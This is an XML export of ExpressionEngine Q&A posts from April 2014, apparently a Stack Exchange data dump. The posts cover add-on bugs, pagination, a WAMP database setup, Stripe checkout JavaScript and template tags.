  <row Id="21256" PostTypeId="2" ParentId="21254" CreationDate="2014-04-17T15:46:50.143" Score="6" Body="&lt;p&gt;Search your Field Editor files for this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('services_json');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe it's in &lt;code&gt;mcp.field_editor.php&lt;/code&gt; and &lt;code&gt;libraries/Package_installer.php&lt;/code&gt;. Delete those lines. It's not necessary for newer versions of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if there are any other issues with Field Editor and EE 2.8, but this should clear up this particular issue.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-04-17T15:46:50.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21258" PostTypeId="1" AcceptedAnswerId="21264" CreationDate="2014-04-17T16:20:32.277" Score="0" ViewCount="85" Body="&lt;p&gt;I have problem with the page_padding parameters in paginate.. there's my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;serie_emission&quot;  url_title=&quot;{segment_2}&quot; disable=&quot;categories|category_fields|member_data&quot; limit=&quot;1&quot; status=&quot;open|OffMEO&quot;}&#xA;    {exp:playa:parents channel=&quot;episode_emission&quot; limit=&quot;6&quot; var_prefix=&quot;ep&quot; paginate=&quot;bottom&quot; disable=&quot;categories|category_fields|member_data&quot;}&#xA;        &amp;lt;div class=&quot;bloc1_element_listeVideo&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='/emission/{url_title}/{ep:url_title}'}&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;titreElement_Video&quot;&amp;gt;TEXT&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;MeoElement_Video&quot;&amp;gt;{ep:entry_date format=&quot;%j %F %Y&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;          &#xA;        &amp;lt;/div&amp;gt;&#xA;        {ep:paginate}&#xA;            {pagination_links   page_padding=&quot;5&quot;} {!--  page_padding NOT WORKING --}&#xA;                &amp;lt;div class=&quot;paginationEmission&quot;&amp;gt;&#xA;                {first_page}&#xA;                        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;lt;&amp;lt;&amp;lt;/a&amp;gt;&#xA;                {/first_page}&#xA;                {previous_page}&#xA;                        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;lt;&amp;lt;/a&amp;gt;&#xA;                    {/previous_page}&#xA;                    {page}&#xA;                        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number}                      {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                    {/page}&#xA;                    {next_page}&#xA;                        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {/next_page}&#xA;                    {last_page}&#xA;                        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {/last_page} &#xA;                &amp;lt;/div&amp;gt;&#xA;            {/pagination_links}&#xA;        {/ep:paginate}          &#xA;    {/exp:playa:parents} &#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- # bloc1_listeVideo --&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- #mobContent --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if i have 10pages,, i only see 2 page on each 'side'.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="1980" LastEditDate="2014-04-18T13:40:22.237" LastActivityDate="2014-04-18T13:40:22.237" Title="Pagination padding problem" Tags="|playa|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21259" PostTypeId="2" ParentId="21248" CreationDate="2014-04-17T17:15:09.610" Score="1" Body="&lt;p&gt;Not with the Tell A Friend form, no - these values are hard-coded, so you must submit an &lt;code&gt;input&lt;/code&gt; with &lt;code&gt;name=&quot;to&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you could use a different &lt;code&gt;name&lt;/code&gt;, then use some javascript on form submission that clones that value into a new input named &lt;code&gt;to&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that although you can have form inputs with the same &lt;code&gt;name&lt;/code&gt; attribute across different forms in the same document, make sure they have different &lt;code&gt;id&lt;/code&gt; attributes.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-17T17:15:09.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21260" PostTypeId="1" CreationDate="2014-04-17T18:15:23.290" Score="0" ViewCount="5450" Body="&lt;p&gt;I turned debugging on with my local installation, and find out that i cant get into database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: C:\wamp\www\siteA\system\codeigniter\system\database\DB_driver.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 124&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the config and database.php files and all should be good to go.&#xA;Any idea what i could do, to get into CP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2014-04-17T18:22:46.220" LastActivityDate="2019-01-21T06:39:11.580" Title="Unable to connect to database using WAMP" Tags="|control-panel|database|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21261" PostTypeId="2" ParentId="20953" CreationDate="2014-04-17T18:40:09.870" Score="1" Body="&lt;p&gt;I wound up using &lt;a href=&quot;http://devot-ee.com/add-ons/taxonomy&quot; rel=&quot;nofollow&quot;&gt;Taxonomy v3&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of going the &quot;easy&quot; route of just using existing channels and using Low Reorder in a somewhat ad-hoc basis... but a few things occurred to me which I was neglecting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;{exp:channel:entries}&lt;/code&gt; is expensive. Better to avoid it.&lt;/li&gt;&#xA;&lt;li&gt;Every time I add a new entry it would still be added to a set which is made worse if there are multiple sets to a channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All I really needed was a way to make simple, customizable lists that preferably tied &lt;em&gt;directly&lt;/em&gt; to categories and/or entries. Tying things to categories doesn't seem to exist, so perhaps a way to match url_titles and mentioning the category group id somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going through devot-ee I narrowed my options down to &lt;a href=&quot;http://devot-ee.com/add-ons/navee&quot; rel=&quot;nofollow&quot;&gt;NavEE&lt;/a&gt; and Taxonomy. NavEE is really simple and looks like it'd help get the job done, but for $10 more Taxonomy offers further customization via custom fields. I kind of dislike having to refer to trees via their id as opposed to some kind of text reference as it's just easier code-wise between development and other versions of a site... but it's got enough features for my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simulate a list of categories I make a new tree and add custom links where the link is the category's url_title. If needed I can add a custom field to mention which group the category is in. &lt;del&gt;The &quot;tricky&quot; part is that using the &lt;code&gt;{exp:taxonomy:nav display_root=&quot;no&quot;}&lt;/code&gt; tag results in outputting&lt;/del&gt; To avoid an unordered list e.g. &lt;code&gt;&amp;lt;ul&amp;gt;...loop thru nodes...&amp;lt;/ul&amp;gt;&lt;/code&gt; use &lt;code&gt;style=&quot;linear&quot;&lt;/code&gt; (haven't tried this yet, hat tip to @iain urquhart).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;To work around it hypothetically you could use stash's list methods. I didn't spend a whole lot of time on it but I couldn't get &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; to work if it was wrapping it, but perhaps append_list inside of it would work. What I ended up using was either &lt;a href=&quot;http://devot-ee.com/add-ons/surgeree&quot; rel=&quot;nofollow&quot;&gt;surgeree&lt;/a&gt;'s &lt;code&gt;strip_tags&lt;/code&gt; method or stash get's strip_tags parameter.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get actual category data I use &lt;a href=&quot;http://devot-ee.com/add-ons/cat2&quot; rel=&quot;nofollow&quot;&gt;Cat2&lt;/a&gt;, I have my own &lt;a href=&quot;https://github.com/notacouch/cat2&quot; rel=&quot;nofollow&quot;&gt;fork&lt;/a&gt; that I can get custom field stuff. ...should have probably added a way to get the images, too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end the one caveat that comes to mind is that if you change an url_title of a category, you'd have to change this everywhere you have used it manually. May want to refer to the category's id instead of url_title if that is an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I could just learn to cache instances of taxonomy and its results... and just cache in general... but that's another topic.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2014-05-14T16:24:11.903" LastActivityDate="2014-05-14T16:24:11.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21262" PostTypeId="1" CreationDate="2014-04-17T20:29:22.827" Score="1" ViewCount="50" Body="&lt;p&gt;What a shame Field editor since EE2.7 is buggy, and it's very difficult to contact the author, no e-mail, no Devot:ee forum support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's unusable because always appears this error message when I try using it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is a Matrix Celltype, it wouldn't take much to make it into a Fieldtype - but why would you with Matrix around? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This message appears for any fields (textarea, expresso......) even without Matrix around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone report the same error??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-17T20:29:22.827" Title="field editor is unusable" Tags="|field-editor|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21263" PostTypeId="1" AcceptedAnswerId="21285" CreationDate="2014-04-17T20:54:50.690" Score="3" ViewCount="279" Body="&lt;p&gt;I'm getting this error on the final step of my checkout process with Stripe. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'undefined' is not a function (evaluating '$checkout_submit.off(&quot;click&quot;)')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page doesn't reload, the button has no function and is not submitting.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the correct name on the submit button&lt;/li&gt;&#xA;&lt;li&gt;Correct Private and Public API Key with Stripe and in the JS&lt;/li&gt;&#xA;&lt;li&gt;The token is passing through to the hidden field in my template&lt;/li&gt;&#xA;&lt;li&gt;I'm not registering a member on checkout&lt;/li&gt;&#xA;&lt;li&gt;inline errors are off&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The checkout html is as follows (I apologize for the spacing, I've removed the containing grid divs): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA; form_class=&quot;form-horizontal&quot;&#xA; return=&quot;store/order/ORDER_HASH&quot;&#xA; secure=&quot;yes&quot;&#xA;}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;store/checkout&quot;}&#xA;{/if}&#xA;&#xA;   &amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;p&amp;gt;{billing_name}&amp;lt;br /&amp;gt;&#xA;   {billing_address1}&amp;lt;br /&amp;gt;&#xA;   {billing_address2}&amp;lt;br /&amp;gt;&#xA;   {billing_city} {billing_postcode}&amp;lt;br /&amp;gt;&#xA;   {billing_state_name}&amp;lt;br /&amp;gt;&#xA;   {billing_country_name}&amp;lt;br /&amp;gt;&#xA;   {billing_phone}&amp;lt;br /&amp;gt;&#xA;   {order_email}&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                      &amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;                          &amp;lt;p&amp;gt;{if shipping_same_as_billing}&#xA;                                  Same as Billing Details&#xA;                              {if:else}&#xA;                                  &amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                  {shipping_address1}&amp;lt;br /&amp;gt;&#xA;                                  {shipping_address2}&amp;lt;br /&amp;gt;&#xA;                                  {shipping_city} {shipping_postcode}&amp;lt;br /&amp;gt;&#xA;                                  {shipping_state_name}&amp;lt;br /&amp;gt;&#xA;                                  {shipping_country_name}&amp;lt;br /&amp;gt;&#xA;                                  {shipping_phone}&amp;lt;/p&amp;gt;&#xA;                              {/if}&#xA;&#xA;&#xA;&#xA;            &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;            {if error:payment_method}&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_method&quot;&amp;gt;Payment Method&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select id=&quot;payments&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;Stripe&quot; selected&amp;gt;credit card&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;!--&amp;lt;option value=&quot;paypal_express&quot;&amp;gt;paypal&amp;lt;/option&amp;gt;--&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;pays&quot; id=&quot;paypal_express&quot; style=&quot;display:none&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Checkout with Paypal&amp;lt;/h3&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;order_email&quot; placeholder=&quot;Your Email Address&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end paypal --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;pays&quot; id=&quot;Stripe&quot;&amp;gt;&#xA;&#xA;              &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                  &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; data-stripe=&quot;number&quot; value=&quot;&quot; /&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;&#xA;              &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                  &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; data-stripe=&quot;name&quot; value=&quot;&quot; /&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;&#xA;              &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                  &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                      &amp;lt;select id=&quot;payment_exp_month&quot; data-stripe=&quot;exp-month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                          &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                          {exp_month_options}&#xA;                      &amp;lt;/select&amp;gt;&#xA;                      &amp;lt;select id=&quot;payment_exp_year&quot; data-stripe=&quot;exp-year&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                          &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                          {exp_year_options}&#xA;                      &amp;lt;/select&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;&#xA;              &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                  &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;CVC&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; data-stripe=&quot;cvc&quot; value=&quot;&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='store/checkout2'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;            &amp;lt;input id=&quot;checkout_submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Javascript: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( document ).ready(function() {&#xA;&#xA; $(function() {&#xA;  $.getScript('https://js.stripe.com/v2/', function() {&#xA;      Stripe.setPublishableKey('pk_live_xxxxxxxxxxxxxxxxxxxxxxx');&#xA;  });&#xA;&#xA;&#xA;  $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;&#xA;      if ($(&quot;[name='payment_method']&quot;).val() == &quot;Stripe&quot;) {&#xA;&#xA;&#xA;          $checkout_submit.attr('disabled', true);&#xA;&#xA;&#xA;          Stripe.card.createToken(${(this.form), stripeResponseHandler);&#xA;&#xA;&#xA;          return false;&#xA;      }&#xA;&#xA;   });&#xA;&#xA;  function stripeResponseHandler(status, response) {&#xA;      /* Re-enable the checkout submit button */&#xA;      $checkout_submit.attr('disabled', false);&#xA;&#xA;&#xA;      /* Check whether we have a valid credit card */&#xA;      if (response.error) {&#xA;          alert(response.error.message);&#xA;      } else {&#xA;          /* Set the card token and submit the checkout form */&#xA;          $(&quot;#payment_token&quot;).val(response.id);&#xA;          $checkout_submit.off(&quot;click&quot;).click();&#xA;      }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;" OwnerUserId="2989" LastEditorUserId="2989" LastEditDate="2014-04-19T04:04:51.397" LastActivityDate="2014-04-19T06:26:44.420" Title="Expresso Store - Stripe Payment Gateway - token submitted, error: 'undefined' is not a function (evaluating '$checkout_submit.off(&quot;click&quot;)')" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21264" PostTypeId="2" ParentId="21258" CreationDate="2014-04-17T21:09:08.207" Score="0" Body="&lt;p&gt;The &lt;code&gt;page_padding&lt;/code&gt; parameter was added in EE 2.8, so you'll need to upgrade in order to use it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-17T21:09:08.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21265" PostTypeId="2" ParentId="21260" CreationDate="2014-04-17T23:19:33.713" Score="0" Body="&lt;p&gt;The basing settings inside (database.php in the config folder) when using Wamp for EE are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db['expressionengine']['hostname'] = 'localhost';&#xA;    $db['expressionengine']['username'] = 'root';&#xA;    $db['expressionengine']['password'] = '';&#xA;    $db['expressionengine']['database'] = 'name_of_your_database';&#xA;    $db['expressionengine']['dbdriver'] = 'mysql';$db['expressionengine']['pconnect'] = FALSE;&#xA;    $db['expressionengine']['dbprefix'] = 'exp_';&#xA;    $db['expressionengine']['swap_pre'] = 'exp_';&#xA;    $db['expressionengine']['db_debug'] = TRUE;&#xA;    $db['expressionengine']['cache_on'] = FALSE;&#xA;    $db['expressionengine']['autoinit'] = FALSE;&#xA;    $db['expressionengine']['char_set'] = 'utf8';&#xA;    $db['expressionengine']['dbcollat'] = 'utf8_general_ci';&#xA;    $db['expressionengine']['cachedir'] = '/localhost/system/expressionengine/cache/db_cache/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-17T23:19:33.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21266" PostTypeId="1" CreationDate="2014-04-18T00:21:57.120" Score="2" ViewCount="215" Body="&lt;p&gt;I set up a brand new EE install of v2.8.1 along with the latest and greatest Matrix v2.5.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a Date Column Type to my matrix field and when I go to edit or publish an entry, when clicking the date column, the date picker defaults to Dec 1969. I assume something is broken somewhere but I have no idea where to begin to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a tag that can be used in my template that will simply output the last modified date of any matrix row so I don't have to use the date field at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="2991" LastActivityDate="2014-04-18T00:21:57.120" Title="Matrix Date Field Problem" Tags="|matrix|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21268" PostTypeId="1" CreationDate="2014-04-18T08:21:03.810" Score="1" ViewCount="54" Body="&lt;p&gt;Even if you put 'ignore_pagination' =&gt; 'y' &#xA;still does not work on the page with pagination&#xA;ee 2.8.1&#xA;Seg2Cat 2.8.0&lt;/p&gt;&#xA;" OwnerUserId="2992" LastEditorUserId="197" LastEditDate="2014-04-23T03:16:09.010" LastActivityDate="2014-04-23T03:16:09.010" Title="Low Seg2Cat Ignore pagination" Tags="|low-seg2cat|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21269" PostTypeId="1" CreationDate="2014-04-18T08:24:37.833" Score="1" ViewCount="77" Body="&lt;p&gt;I have EE running with Structure, Transcribe and Zoo Triggers, I have categories in my 'Shop' channel of 'cds', 'digital' and 'merchandise'. Zoo Triggers displays the categories correctly and it displays the entries related to that category correctly but the link it generates is adding the root of my site no matter what I put in the path parameter (my test site is in a sub folder of my main domain). So what I am getting from the following code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_triggers:categories channel=&quot;shop_item&quot; css_id=&quot;subNav&quot; show_counter=&quot;no&quot; path=&quot;{site_url}index.php/{segment_1}/category&quot;}&#xA;     {category_name}&#xA;{/exp:zoo_triggers:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;www.mywebsite.com/&lt;a href=&quot;http://www.mywebsite.com/clients/client-name/index.php/shop/category/cds&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/clients/client-name/index.php/shop/category/cds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mywebsite.com/clients/client-name/index.php/shop/category/cds&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/clients/client-name/index.php/shop/category/cds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever run into this before? Or have a fix for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** UPDATE ** &#xA;This is now working as it should, Zoo Triggers released an update.&lt;/p&gt;&#xA;" OwnerUserId="2773" LastEditorUserId="2773" LastEditDate="2014-04-23T12:06:56.913" LastActivityDate="2016-05-30T15:41:40.580" Title="Zoo Triggers Path Paramter adding Root of Site to URL" Tags="|structure|transcribe|zoo-triggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21270" PostTypeId="1" CreationDate="2014-04-18T09:06:06.890" Score="0" ViewCount="131" Body="&lt;p&gt;I have a channel entry and I can return the {author_id} but what I would like to do is return more fields from author&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title}&#xA;{business_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-04-22T06:31:19.023" Title="query inside channel entries tag" Tags="|channel-entries|relationships|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21271" PostTypeId="2" ParentId="21196" CreationDate="2014-04-18T10:54:27.797" Score="2" Body="&lt;p&gt;I just had this issue too on same installation. I had installed a new fieldtype (Plate Picker), which uses the &lt;code&gt;$settings['options']&lt;/code&gt; array too to store the field_type settings. Problem is that P&amp;amp;T pill assumes all values inside &lt;code&gt;$settings['options']&lt;/code&gt; are string values, but with my new field_type they are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't dig deeper into EE Fieldtypes to find out what's the default way to store field_type options, so I don't know exactly who should fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of completely commenting out the line, you should be able to fix this by adding an extra line of code on line 130:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;foreach($settings['options'] as $name =&gt; $label)&#xA;{&#xA;    if (is_array($label)) continue; // Added&#xA;&#xA;    if ($r !== '') $r .= &quot;\n&quot;;&#xA;    $r .= $name;&#xA;    if ($name !== $label) $r .= ' : '.$label;&#xA;    if (isset($settings['default']) &amp;&amp; $settings['default'] == $name) $r .= ' *';&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2900" LastActivityDate="2014-04-18T10:54:27.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21272" PostTypeId="1" CreationDate="2014-04-18T11:22:34.753" Score="0" ViewCount="104" Body="&lt;p&gt;I'm using Assets 1.1.5 and EE 2.4 .  I can upload an image ok through Assets, but no thumbnail is created and the image does not appear on the front end.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference I can see is that on the server, the owner / group is different when a file is uploaded through Assets than if a file is uploaded directly to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-04-18T11:22:34.753" Title="assets, no thumbnails, no image on front end" Tags="|assets|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21273" PostTypeId="2" ParentId="21270" CreationDate="2014-04-18T12:52:41.427" Score="1" Body="&lt;p&gt;You can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;{author_id}&quot;}&#xA;    &amp;lt;p&amp;gt;{username}&amp;lt;/p&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the username tag in any member_field you like,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List with the variables to use:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/member/index.html#id7&quot; rel=&quot;nofollow&quot;&gt;ee user-guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can also use your own custom tags&lt;/p&gt;&#xA;" OwnerUserId="1980" LastEditorUserId="1980" LastEditDate="2014-04-22T06:31:19.023" LastActivityDate="2014-04-22T06:31:19.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21274" PostTypeId="2" ParentId="21269" CreationDate="2014-04-18T13:05:44.233" Score="0" Body="&lt;p&gt;Double check your system settings and you config.php file to make sure it's not in there.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-04-18T13:05:44.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21275" PostTypeId="2" ParentId="21253" CreationDate="2014-04-18T13:11:03.077" Score="0" Body="&lt;p&gt;I had problems with this also. For me it helped to create the group-folders manually. That means: If you create a template-group named &quot;embedMe&quot; EE will create a folder embedMe.group. Delete this folder and create it manually (certainly with 777). For me this solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-18T13:11:03.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
